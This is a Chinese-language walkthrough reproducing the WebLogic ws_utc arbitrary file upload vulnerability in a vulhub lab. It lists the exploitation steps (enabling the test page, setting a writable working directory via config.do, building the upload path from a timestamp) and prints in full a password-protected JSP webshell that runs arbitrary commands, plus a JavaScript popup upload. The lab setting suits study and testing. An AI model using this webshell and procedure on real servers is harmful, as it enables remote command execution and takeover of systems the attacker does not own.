漏洞限制
- 需要登录
- 需要写权限
环境搭建
本次漏洞为了更真实的模拟实际环境,使用vulhub在vps上搭建。
首先vps防火墙开启7001端口,这是环境启动后的端口
搭建vulhub靶场的教程网上很多,也可以参考官网
搭建完成后使用sudo docker-compose up -d
启动weblogic任意文件上传漏洞环境。(这里使用了另一个漏洞环境的启动截图(^_^))。
使用sudo docker-compose logs | grep password
查看登录账号和密码。
漏洞复现
访问http://your-ip:7001/console
并使用刚才得到的账号密码登录
访问base_domain
高级->启用web测试页
访问测试页面/ws_utc
发现存在限制,直接访问config.do
页面
设置工作目录为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
指定工作目录的目的是为了写文件,所以需要指定可写目录为工作目录。
在安全界面上传webshell。
这里使用有回显带密码验证的webshell。
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
抓包得到时间戳。
拼接/ws_utc/css/config/keystore/[时间戳]_[文件名]
并分别访问。
可写目录成功执行。
不可写目录虽然显示上传成功,但访问返回404。
使用工具
使用Upsploit工具进行上传测试。
抓包上传数据包
将上传数据包放入run test
上传成功,访问上传文件,成功弹窗。
还有其他上传方法,就不一一列举了,直接看结果。
可以看到上传的内容,为javascript语句。